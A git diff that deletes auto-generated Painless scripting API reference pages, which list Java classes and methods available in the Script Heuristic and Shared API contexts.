-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-script-heuristic/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-script-heuristic/index.asciidoc
deleted file mode 100644
index 8b32ad624a3..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-script-heuristic/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-script-heuristic]]
-=== Script Heuristic API
-
-The following specialized API is available in the Script Heuristic context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-script-heuristic-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-script-heuristic-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-script-heuristic/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-script-heuristic/packages.asciidoc
deleted file mode 100644
index e5799e8fdd4..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-script-heuristic/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-script-heuristic-java-lang"]
-=== Script Heuristic API for package java.lang
-See the <<painless-api-reference-script-heuristic, Script Heuristic API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-script-heuristic-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-shared/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-shared/index.asciidoc
deleted file mode 100644
index c8bbedadf6b..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-shared/index.asciidoc
+++ /dev/null
@@ -1,435 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-shared]]
-=== Shared API
-
-The following API is available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-shared-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-shared-Appendable, Appendable>>
-* <<painless-api-reference-shared-ArithmeticException, ArithmeticException>>
-* <<painless-api-reference-shared-ArrayIndexOutOfBoundsException, ArrayIndexOutOfBoundsException>>
-* <<painless-api-reference-shared-ArrayStoreException, ArrayStoreException>>
-* <<painless-api-reference-shared-Boolean, Boolean>>
-* <<painless-api-reference-shared-Byte, Byte>>
-* <<painless-api-reference-shared-CharSequence, CharSequence>>
-* <<painless-api-reference-shared-Character, Character>>
-* <<painless-api-reference-shared-Character-Subset, Character.Subset>>
-* <<painless-api-reference-shared-Character-UnicodeBlock, Character.UnicodeBlock>>
-* <<painless-api-reference-shared-Character-UnicodeScript, Character.UnicodeScript>>
-* <<painless-api-reference-shared-ClassCastException, ClassCastException>>
-* <<painless-api-reference-shared-ClassNotFoundException, ClassNotFoundException>>
-* <<painless-api-reference-shared-CloneNotSupportedException, CloneNotSupportedException>>
-* <<painless-api-reference-shared-Comparable, Comparable>>
-* <<painless-api-reference-shared-Double, Double>>
-* <<painless-api-reference-shared-Enum, Enum>>
-* <<painless-api-reference-shared-EnumConstantNotPresentException, EnumConstantNotPresentException>>
-* <<painless-api-reference-shared-Exception, Exception>>
-* <<painless-api-reference-shared-Float, Float>>
-* <<painless-api-reference-shared-IllegalAccessException, IllegalAccessException>>
-* <<painless-api-reference-shared-IllegalArgumentException, IllegalArgumentException>>
-* <<painless-api-reference-shared-IllegalMonitorStateException, IllegalMonitorStateException>>
-* <<painless-api-reference-shared-IllegalStateException, IllegalStateException>>
-* <<painless-api-reference-shared-IllegalThreadStateException, IllegalThreadStateException>>
-* <<painless-api-reference-shared-IndexOutOfBoundsException, IndexOutOfBoundsException>>
-* <<painless-api-reference-shared-InstantiationException, InstantiationException>>
-* <<painless-api-reference-shared-Integer, Integer>>
-* <<painless-api-reference-shared-InterruptedException, InterruptedException>>
-* <<painless-api-reference-shared-Iterable, Iterable>>
-* <<painless-api-reference-shared-Long, Long>>
-* <<painless-api-reference-shared-Math, Math>>
-* <<painless-api-reference-shared-NegativeArraySizeException, NegativeArraySizeException>>
-* <<painless-api-reference-shared-NoSuchFieldException, NoSuchFieldException>>
-* <<painless-api-reference-shared-NoSuchMethodException, NoSuchMethodException>>
-* <<painless-api-reference-shared-NullPointerException, NullPointerException>>
-* <<painless-api-reference-shared-Number, Number>>
-* <<painless-api-reference-shared-NumberFormatException, NumberFormatException>>
-* <<painless-api-reference-shared-Object, Object>>
-* <<painless-api-reference-shared-ReflectiveOperationException, ReflectiveOperationException>>
-* <<painless-api-reference-shared-RuntimeException, RuntimeException>>
-* <<painless-api-reference-shared-SecurityException, SecurityException>>
-* <<painless-api-reference-shared-Short, Short>>
-* <<painless-api-reference-shared-StackTraceElement, StackTraceElement>>
-* <<painless-api-reference-shared-StrictMath, StrictMath>>
-* <<painless-api-reference-shared-StringBuffer, StringBuffer>>
-* <<painless-api-reference-shared-StringBuilder, StringBuilder>>
-* <<painless-api-reference-shared-StringIndexOutOfBoundsException, StringIndexOutOfBoundsException>>
-* <<painless-api-reference-shared-System, System>>
-* <<painless-api-reference-shared-TypeNotPresentException, TypeNotPresentException>>
-* <<painless-api-reference-shared-UnsupportedOperationException, UnsupportedOperationException>>
-* <<painless-api-reference-shared-Void, Void>>
-
-==== java.math
-<<painless-api-reference-shared-java-math, Expand details for java.math>>
-
-* <<painless-api-reference-shared-BigDecimal, BigDecimal>>
-* <<painless-api-reference-shared-BigInteger, BigInteger>>
-* <<painless-api-reference-shared-MathContext, MathContext>>
-* <<painless-api-reference-shared-RoundingMode, RoundingMode>>
-
-==== java.text
-<<painless-api-reference-shared-java-text, Expand details for java.text>>
-
-* <<painless-api-reference-shared-Annotation, Annotation>>
-* <<painless-api-reference-shared-AttributedCharacterIterator, AttributedCharacterIterator>>
-* <<painless-api-reference-shared-AttributedCharacterIterator-Attribute, AttributedCharacterIterator.Attribute>>
-* <<painless-api-reference-shared-AttributedString, AttributedString>>
-* <<painless-api-reference-shared-Bidi, Bidi>>
-* <<painless-api-reference-shared-BreakIterator, BreakIterator>>
-* <<painless-api-reference-shared-CharacterIterator, CharacterIterator>>
-* <<painless-api-reference-shared-ChoiceFormat, ChoiceFormat>>
-* <<painless-api-reference-shared-CollationElementIterator, CollationElementIterator>>
-* <<painless-api-reference-shared-CollationKey, CollationKey>>
-* <<painless-api-reference-shared-Collator, Collator>>
-* <<painless-api-reference-shared-DateFormat, DateFormat>>
-* <<painless-api-reference-shared-DateFormat-Field, DateFormat.Field>>
-* <<painless-api-reference-shared-DateFormatSymbols, DateFormatSymbols>>
-* <<painless-api-reference-shared-DecimalFormat, DecimalFormat>>
-* <<painless-api-reference-shared-DecimalFormatSymbols, DecimalFormatSymbols>>
-* <<painless-api-reference-shared-FieldPosition, FieldPosition>>
-* <<painless-api-reference-shared-Format, Format>>
-* <<painless-api-reference-shared-Format-Field, Format.Field>>
-* <<painless-api-reference-shared-MessageFormat, MessageFormat>>
-* <<painless-api-reference-shared-MessageFormat-Field, MessageFormat.Field>>
-* <<painless-api-reference-shared-Normalizer, Normalizer>>
-* <<painless-api-reference-shared-Normalizer-Form, Normalizer.Form>>
-* <<painless-api-reference-shared-NumberFormat, NumberFormat>>
-* <<painless-api-reference-shared-NumberFormat-Field, NumberFormat.Field>>
-* <<painless-api-reference-shared-ParseException, ParseException>>
-* <<painless-api-reference-shared-ParsePosition, ParsePosition>>
-* <<painless-api-reference-shared-RuleBasedCollator, RuleBasedCollator>>
-* <<painless-api-reference-shared-SimpleDateFormat, SimpleDateFormat>>
-* <<painless-api-reference-shared-StringCharacterIterator, StringCharacterIterator>>
-
-==== java.time
-<<painless-api-reference-shared-java-time, Expand details for java.time>>
-
-* <<painless-api-reference-shared-Clock, Clock>>
-* <<painless-api-reference-shared-DateTimeException, DateTimeException>>
-* <<painless-api-reference-shared-DayOfWeek, DayOfWeek>>
-* <<painless-api-reference-shared-Duration, Duration>>
-* <<painless-api-reference-shared-Instant, Instant>>
-* <<painless-api-reference-shared-LocalDate, LocalDate>>
-* <<painless-api-reference-shared-LocalDateTime, LocalDateTime>>
-* <<painless-api-reference-shared-LocalTime, LocalTime>>
-* <<painless-api-reference-shared-Month, Month>>
-* <<painless-api-reference-shared-MonthDay, MonthDay>>
-* <<painless-api-reference-shared-OffsetDateTime, OffsetDateTime>>
-* <<painless-api-reference-shared-OffsetTime, OffsetTime>>
-* <<painless-api-reference-shared-Period, Period>>
-* <<painless-api-reference-shared-Year, Year>>
-* <<painless-api-reference-shared-YearMonth, YearMonth>>
-* <<painless-api-reference-shared-ZoneId, ZoneId>>
-* <<painless-api-reference-shared-ZoneOffset, ZoneOffset>>
-* <<painless-api-reference-shared-ZonedDateTime, ZonedDateTime>>
-
-==== java.time.chrono
-<<painless-api-reference-shared-java-time-chrono, Expand details for java.time.chrono>>
-
-* <<painless-api-reference-shared-AbstractChronology, AbstractChronology>>
-* <<painless-api-reference-shared-ChronoLocalDate, ChronoLocalDate>>
-* <<painless-api-reference-shared-ChronoLocalDateTime, ChronoLocalDateTime>>
-* <<painless-api-reference-shared-ChronoPeriod, ChronoPeriod>>
-* <<painless-api-reference-shared-ChronoZonedDateTime, ChronoZonedDateTime>>
-* <<painless-api-reference-shared-Chronology, Chronology>>
-* <<painless-api-reference-shared-Era, Era>>
-* <<painless-api-reference-shared-HijrahChronology, HijrahChronology>>
-* <<painless-api-reference-shared-HijrahDate, HijrahDate>>
-* <<painless-api-reference-shared-HijrahEra, HijrahEra>>
-* <<painless-api-reference-shared-IsoChronology, IsoChronology>>
-* <<painless-api-reference-shared-IsoEra, IsoEra>>
-* <<painless-api-reference-shared-JapaneseChronology, JapaneseChronology>>
-* <<painless-api-reference-shared-JapaneseDate, JapaneseDate>>
-* <<painless-api-reference-shared-JapaneseEra, JapaneseEra>>
-* <<painless-api-reference-shared-MinguoChronology, MinguoChronology>>
-* <<painless-api-reference-shared-MinguoDate, MinguoDate>>
-* <<painless-api-reference-shared-MinguoEra, MinguoEra>>
-* <<painless-api-reference-shared-ThaiBuddhistChronology, ThaiBuddhistChronology>>
-* <<painless-api-reference-shared-ThaiBuddhistDate, ThaiBuddhistDate>>
-* <<painless-api-reference-shared-ThaiBuddhistEra, ThaiBuddhistEra>>
-
-==== java.time.format
-<<painless-api-reference-shared-java-time-format, Expand details for java.time.format>>
-
-* <<painless-api-reference-shared-DateTimeFormatter, DateTimeFormatter>>
-* <<painless-api-reference-shared-DateTimeFormatterBuilder, DateTimeFormatterBuilder>>
-* <<painless-api-reference-shared-DateTimeParseException, DateTimeParseException>>
-* <<painless-api-reference-shared-DecimalStyle, DecimalStyle>>
-* <<painless-api-reference-shared-FormatStyle, FormatStyle>>
-* <<painless-api-reference-shared-ResolverStyle, ResolverStyle>>
-* <<painless-api-reference-shared-SignStyle, SignStyle>>
-* <<painless-api-reference-shared-TextStyle, TextStyle>>
-
-==== java.time.temporal
-<<painless-api-reference-shared-java-time-temporal, Expand details for java.time.temporal>>
-
-* <<painless-api-reference-shared-ChronoField, ChronoField>>
-* <<painless-api-reference-shared-ChronoUnit, ChronoUnit>>
-* <<painless-api-reference-shared-IsoFields, IsoFields>>
-* <<painless-api-reference-shared-JulianFields, JulianFields>>
-* <<painless-api-reference-shared-Temporal, Temporal>>
-* <<painless-api-reference-shared-TemporalAccessor, TemporalAccessor>>
-* <<painless-api-reference-shared-TemporalAdjuster, TemporalAdjuster>>
-* <<painless-api-reference-shared-TemporalAdjusters, TemporalAdjusters>>
-* <<painless-api-reference-shared-TemporalAmount, TemporalAmount>>
-* <<painless-api-reference-shared-TemporalField, TemporalField>>
-* <<painless-api-reference-shared-TemporalQueries, TemporalQueries>>
-* <<painless-api-reference-shared-TemporalQuery, TemporalQuery>>
-* <<painless-api-reference-shared-TemporalUnit, TemporalUnit>>
-* <<painless-api-reference-shared-UnsupportedTemporalTypeException, UnsupportedTemporalTypeException>>
-* <<painless-api-reference-shared-ValueRange, ValueRange>>
-* <<painless-api-reference-shared-WeekFields, WeekFields>>
-
-==== java.time.zone
-<<painless-api-reference-shared-java-time-zone, Expand details for java.time.zone>>
-
-* <<painless-api-reference-shared-ZoneOffsetTransition, ZoneOffsetTransition>>
-* <<painless-api-reference-shared-ZoneOffsetTransitionRule, ZoneOffsetTransitionRule>>
-* <<painless-api-reference-shared-ZoneOffsetTransitionRule-TimeDefinition, ZoneOffsetTransitionRule.TimeDefinition>>
-* <<painless-api-reference-shared-ZoneRules, ZoneRules>>
-* <<painless-api-reference-shared-ZoneRulesException, ZoneRulesException>>
-* <<painless-api-reference-shared-ZoneRulesProvider, ZoneRulesProvider>>
-
-==== java.util
-<<painless-api-reference-shared-java-util, Expand details for java.util>>
-
-* <<painless-api-reference-shared-AbstractCollection, AbstractCollection>>
-* <<painless-api-reference-shared-AbstractList, AbstractList>>
-* <<painless-api-reference-shared-AbstractMap, AbstractMap>>
-* <<painless-api-reference-shared-AbstractMap-SimpleEntry, AbstractMap.SimpleEntry>>
-* <<painless-api-reference-shared-AbstractMap-SimpleImmutableEntry, AbstractMap.SimpleImmutableEntry>>
-* <<painless-api-reference-shared-AbstractQueue, AbstractQueue>>
-* <<painless-api-reference-shared-AbstractSequentialList, AbstractSequentialList>>
-* <<painless-api-reference-shared-AbstractSet, AbstractSet>>
-* <<painless-api-reference-shared-ArrayDeque, ArrayDeque>>
-* <<painless-api-reference-shared-ArrayList, ArrayList>>
-* <<painless-api-reference-shared-Arrays, Arrays>>
-* <<painless-api-reference-shared-Base64, Base64>>
-* <<painless-api-reference-shared-Base64-Decoder, Base64.Decoder>>
-* <<painless-api-reference-shared-Base64-Encoder, Base64.Encoder>>
-* <<painless-api-reference-shared-BitSet, BitSet>>
-* <<painless-api-reference-shared-Calendar, Calendar>>
-* <<painless-api-reference-shared-Calendar-Builder, Calendar.Builder>>
-* <<painless-api-reference-shared-Collection, Collection>>
-* <<painless-api-reference-shared-Collections, Collections>>
-* <<painless-api-reference-shared-Comparator, Comparator>>
-* <<painless-api-reference-shared-ConcurrentModificationException, ConcurrentModificationException>>
-* <<painless-api-reference-shared-Currency, Currency>>
-* <<painless-api-reference-shared-Date, Date>>
-* <<painless-api-reference-shared-Deque, Deque>>
-* <<painless-api-reference-shared-Dictionary, Dictionary>>
-* <<painless-api-reference-shared-DoubleSummaryStatistics, DoubleSummaryStatistics>>
-* <<painless-api-reference-shared-DuplicateFormatFlagsException, DuplicateFormatFlagsException>>
-* <<painless-api-reference-shared-EmptyStackException, EmptyStackException>>
-* <<painless-api-reference-shared-Enumeration, Enumeration>>
-* <<painless-api-reference-shared-EventListener, EventListener>>
-* <<painless-api-reference-shared-EventListenerProxy, EventListenerProxy>>
-* <<painless-api-reference-shared-EventObject, EventObject>>
-* <<painless-api-reference-shared-FormatFlagsConversionMismatchException, FormatFlagsConversionMismatchException>>
-* <<painless-api-reference-shared-Formattable, Formattable>>
-* <<painless-api-reference-shared-FormattableFlags, FormattableFlags>>
-* <<painless-api-reference-shared-Formatter, Formatter>>
-* <<painless-api-reference-shared-Formatter-BigDecimalLayoutForm, Formatter.BigDecimalLayoutForm>>
-* <<painless-api-reference-shared-FormatterClosedException, FormatterClosedException>>
-* <<painless-api-reference-shared-GregorianCalendar, GregorianCalendar>>
-* <<painless-api-reference-shared-HashMap, HashMap>>
-* <<painless-api-reference-shared-HashSet, HashSet>>
-* <<painless-api-reference-shared-Hashtable, Hashtable>>
-* <<painless-api-reference-shared-IdentityHashMap, IdentityHashMap>>
-* <<painless-api-reference-shared-IllegalFormatCodePointException, IllegalFormatCodePointException>>
-* <<painless-api-reference-shared-IllegalFormatConversionException, IllegalFormatConversionException>>
-* <<painless-api-reference-shared-IllegalFormatException, IllegalFormatException>>
-* <<painless-api-reference-shared-IllegalFormatFlagsException, IllegalFormatFlagsException>>
-* <<painless-api-reference-shared-IllegalFormatPrecisionException, IllegalFormatPrecisionException>>
-* <<painless-api-reference-shared-IllegalFormatWidthException, IllegalFormatWidthException>>
-* <<painless-api-reference-shared-IllformedLocaleException, IllformedLocaleException>>
-* <<painless-api-reference-shared-InputMismatchException, InputMismatchException>>
-* <<painless-api-reference-shared-IntSummaryStatistics, IntSummaryStatistics>>
-* <<painless-api-reference-shared-Iterator, Iterator>>
-* <<painless-api-reference-shared-LinkedHashMap, LinkedHashMap>>
-* <<painless-api-reference-shared-LinkedHashSet, LinkedHashSet>>
-* <<painless-api-reference-shared-LinkedList, LinkedList>>
-* <<painless-api-reference-shared-List, List>>
-* <<painless-api-reference-shared-ListIterator, ListIterator>>
-* <<painless-api-reference-shared-Locale, Locale>>
-* <<painless-api-reference-shared-Locale-Builder, Locale.Builder>>
-* <<painless-api-reference-shared-Locale-Category, Locale.Category>>
-* <<painless-api-reference-shared-Locale-FilteringMode, Locale.FilteringMode>>
-* <<painless-api-reference-shared-Locale-LanguageRange, Locale.LanguageRange>>
-* <<painless-api-reference-shared-LongSummaryStatistics, LongSummaryStatistics>>
-* <<painless-api-reference-shared-Map, Map>>
-* <<painless-api-reference-shared-Map-Entry, Map.Entry>>
-* <<painless-api-reference-shared-MissingFormatArgumentException, MissingFormatArgumentException>>
-* <<painless-api-reference-shared-MissingFormatWidthException, MissingFormatWidthException>>
-* <<painless-api-reference-shared-MissingResourceException, MissingResourceException>>
-* <<painless-api-reference-shared-NavigableMap, NavigableMap>>
-* <<painless-api-reference-shared-NavigableSet, NavigableSet>>
-* <<painless-api-reference-shared-NoSuchElementException, NoSuchElementException>>
-* <<painless-api-reference-shared-Objects, Objects>>
-* <<painless-api-reference-shared-Observable, Observable>>
-* <<painless-api-reference-shared-Observer, Observer>>
-* <<painless-api-reference-shared-Optional, Optional>>
-* <<painless-api-reference-shared-OptionalDouble, OptionalDouble>>
-* <<painless-api-reference-shared-OptionalInt, OptionalInt>>
-* <<painless-api-reference-shared-OptionalLong, OptionalLong>>
-* <<painless-api-reference-shared-PrimitiveIterator, PrimitiveIterator>>
-* <<painless-api-reference-shared-PrimitiveIterator-OfDouble, PrimitiveIterator.OfDouble>>
-* <<painless-api-reference-shared-PrimitiveIterator-OfInt, PrimitiveIterator.OfInt>>
-* <<painless-api-reference-shared-PrimitiveIterator-OfLong, PrimitiveIterator.OfLong>>
-* <<painless-api-reference-shared-PriorityQueue, PriorityQueue>>
-* <<painless-api-reference-shared-Queue, Queue>>
-* <<painless-api-reference-shared-Random, Random>>
-* <<painless-api-reference-shared-RandomAccess, RandomAccess>>
-* <<painless-api-reference-shared-Set, Set>>
-* <<painless-api-reference-shared-SimpleTimeZone, SimpleTimeZone>>
-* <<painless-api-reference-shared-SortedMap, SortedMap>>
-* <<painless-api-reference-shared-SortedSet, SortedSet>>
-* <<painless-api-reference-shared-Spliterator, Spliterator>>
-* <<painless-api-reference-shared-Spliterator-OfDouble, Spliterator.OfDouble>>
-* <<painless-api-reference-shared-Spliterator-OfInt, Spliterator.OfInt>>
-* <<painless-api-reference-shared-Spliterator-OfLong, Spliterator.OfLong>>
-* <<painless-api-reference-shared-Spliterator-OfPrimitive, Spliterator.OfPrimitive>>
-* <<painless-api-reference-shared-Spliterators, Spliterators>>
-* <<painless-api-reference-shared-Stack, Stack>>
-* <<painless-api-reference-shared-StringJoiner, StringJoiner>>
-* <<painless-api-reference-shared-StringTokenizer, StringTokenizer>>
-* <<painless-api-reference-shared-TimeZone, TimeZone>>
-* <<painless-api-reference-shared-TooManyListenersException, TooManyListenersException>>
-* <<painless-api-reference-shared-TreeMap, TreeMap>>
-* <<painless-api-reference-shared-TreeSet, TreeSet>>
-* <<painless-api-reference-shared-UUID, UUID>>
-* <<painless-api-reference-shared-UnknownFormatConversionException, UnknownFormatConversionException>>
-* <<painless-api-reference-shared-UnknownFormatFlagsException, UnknownFormatFlagsException>>
-* <<painless-api-reference-shared-Vector, Vector>>
-
-==== java.util.function
-<<painless-api-reference-shared-java-util-function, Expand details for java.util.function>>
-
-* <<painless-api-reference-shared-BiConsumer, BiConsumer>>
-* <<painless-api-reference-shared-BiFunction, BiFunction>>
-* <<painless-api-reference-shared-BiPredicate, BiPredicate>>
-* <<painless-api-reference-shared-BinaryOperator, BinaryOperator>>
-* <<painless-api-reference-shared-BooleanSupplier, BooleanSupplier>>
-* <<painless-api-reference-shared-Consumer, Consumer>>
-* <<painless-api-reference-shared-DoubleBinaryOperator, DoubleBinaryOperator>>
-* <<painless-api-reference-shared-DoubleConsumer, DoubleConsumer>>
-* <<painless-api-reference-shared-DoubleFunction, DoubleFunction>>
-* <<painless-api-reference-shared-DoublePredicate, DoublePredicate>>
-* <<painless-api-reference-shared-DoubleSupplier, DoubleSupplier>>
-* <<painless-api-reference-shared-DoubleToIntFunction, DoubleToIntFunction>>
-* <<painless-api-reference-shared-DoubleToLongFunction, DoubleToLongFunction>>
-* <<painless-api-reference-shared-DoubleUnaryOperator, DoubleUnaryOperator>>
-* <<painless-api-reference-shared-Function, Function>>
-* <<painless-api-reference-shared-IntBinaryOperator, IntBinaryOperator>>
-* <<painless-api-reference-shared-IntConsumer, IntConsumer>>
-* <<painless-api-reference-shared-IntFunction, IntFunction>>
-* <<painless-api-reference-shared-IntPredicate, IntPredicate>>
-* <<painless-api-reference-shared-IntSupplier, IntSupplier>>
-* <<painless-api-reference-shared-IntToDoubleFunction, IntToDoubleFunction>>
-* <<painless-api-reference-shared-IntToLongFunction, IntToLongFunction>>
-* <<painless-api-reference-shared-IntUnaryOperator, IntUnaryOperator>>
-* <<painless-api-reference-shared-LongBinaryOperator, LongBinaryOperator>>
-* <<painless-api-reference-shared-LongConsumer, LongConsumer>>
-* <<painless-api-reference-shared-LongFunction, LongFunction>>
-* <<painless-api-reference-shared-LongPredicate, LongPredicate>>
-* <<painless-api-reference-shared-LongSupplier, LongSupplier>>
-* <<painless-api-reference-shared-LongToDoubleFunction, LongToDoubleFunction>>
-* <<painless-api-reference-shared-LongToIntFunction, LongToIntFunction>>
-* <<painless-api-reference-shared-LongUnaryOperator, LongUnaryOperator>>
-* <<painless-api-reference-shared-ObjDoubleConsumer, ObjDoubleConsumer>>
-* <<painless-api-reference-shared-ObjIntConsumer, ObjIntConsumer>>
-* <<painless-api-reference-shared-ObjLongConsumer, ObjLongConsumer>>
-* <<painless-api-reference-shared-Predicate, Predicate>>
-* <<painless-api-reference-shared-Supplier, Supplier>>
-* <<painless-api-reference-shared-ToDoubleBiFunction, ToDoubleBiFunction>>
-* <<painless-api-reference-shared-ToDoubleFunction, ToDoubleFunction>>
-* <<painless-api-reference-shared-ToIntBiFunction, ToIntBiFunction>>
-* <<painless-api-reference-shared-ToIntFunction, ToIntFunction>>
-* <<painless-api-reference-shared-ToLongBiFunction, ToLongBiFunction>>
-* <<painless-api-reference-shared-ToLongFunction, ToLongFunction>>
-* <<painless-api-reference-shared-UnaryOperator, UnaryOperator>>
-
-==== java.util.regex
-<<painless-api-reference-shared-java-util-regex, Expand details for java.util.regex>>
-
-* <<painless-api-reference-shared-Matcher, Matcher>>
-* <<painless-api-reference-shared-Pattern, Pattern>>
-
-==== java.util.stream
-<<painless-api-reference-shared-java-util-stream, Expand details for java.util.stream>>
-
-* <<painless-api-reference-shared-BaseStream, BaseStream>>
-* <<painless-api-reference-shared-Collector, Collector>>
-* <<painless-api-reference-shared-Collector-Characteristics, Collector.Characteristics>>
-* <<painless-api-reference-shared-Collectors, Collectors>>
-* <<painless-api-reference-shared-DoubleStream, DoubleStream>>
